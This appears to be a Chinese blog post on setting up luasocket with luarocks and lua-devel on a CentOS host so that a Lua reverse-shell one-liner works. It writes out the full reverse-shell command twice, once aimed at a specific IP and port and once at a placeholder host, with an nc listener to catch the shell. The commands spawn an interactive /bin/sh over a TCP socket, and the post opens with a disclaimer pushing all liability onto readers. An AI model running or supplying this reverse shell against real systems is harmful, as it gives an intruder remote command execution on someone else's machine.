lua反弹环境配置(luasocket安装)

免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!

环境配置问题

在使用lua语言进行反弹shell测试时,执行相关命令提示缺少socket.lua文件

#lua -e "local socket=require('socket');local os=require('os');t=socket.tcp();t('10.103.102.26','7878');os.execute('/bin/sh -i <&3 >&3 2>&3');"
lua: (command line):1: module 'socket' not found:
no field package.preload['socket']
no file './socket.lua'
no file '/usr/share/lua/5.1/socket.lua'
no file '/usr/share/lua/5.1/socket/init.lua'
no file '/usr/lib64/lua/5.1/socket.lua'
no file '/usr/lib64/lua/5.1/socket/init.lua'
no file './socket.so'
no file '/usr/lib64/lua/5.1/socket.so'
no file '/usr/lib64/lua/5.1/loadall.so'
stack traceback:
[C]: in function 'require'
(command line):1: in main chunk
[C]: ?

按照网上查询的内容并没找到有效的解决Linux主机上出现的这个问题。偶然看到luarocks 是lua包管理器,就想到用luarocks来安装luasocket。

#yum install luarocks
已加载插件:fastestmirror, product-id, search-disabled-repos, subscription-manager

This system is not registered with an entitlement server. You can use subscription-manager to register.

Loading mirror speeds from cached hostfile

 * base: mirrors.bfsu.edu.cn
 * extras: mirrors.bfsu.edu.cn
 * updates: mirrors.bfsu.edu.cn
   没有可用软件包 luarocks。
   错误:无须任何处理

yum安装没找到包,也没换yum源直接搜索离线luarocks rpm包进行安装,访问:luarocks-2.3.0-1.el7.x86_64.rpm CentOS 7, RHEL 7 Download (pkgs.org)](https://rhel.pkgs.org/7/epel-x86_64/luarocks-2.3.0-1.el7.x86_64.rpm.html) 下载x86_64rpm包:https://dl.fedoraproject.org/pub/epel/7/x86_64/Packages/l/luarocks-2.3.0-1.el7.x86_64.rpm

执行命令安装: rpm -ivh luarocks-2.3.0-1.el7.x86_64.rpm

image

然后安装luasocket

luarocks install luasocket

安装提示报错:
image

这个错误提示是由于缺少lua.h文件导致的。lua.h是Lua的头文件,需要在编译LuaSocket库时使用。这个错误可能是由于没有正确安装Lua开发包(Lua development package)导致的,Lua开发包包含了编译Lua库所需的头文件和其他依赖项。解决这个问题,需要安装Lua开发包

yum install lua-devel

安装成功后再次执行安装luasocket成功

luarocks install luasocket

image

建立监听等待成功建立连接

nc -lvvp 63636

执行lua 反弹shell命令

lua -e "local socket=require('socket');local os=require('os');t=socket.tcp();t:connect('xx.xx.xx.xx','6363');os.execute('/bin/sh -i <&3 >&3 2>&3');"
xx.xx.xx.xx为建立监听的主机ip地址

成功建立连接
image

posted @ 2023-10-25 11:51  axing的星空  阅读(21)  评论(0编辑  收藏  举报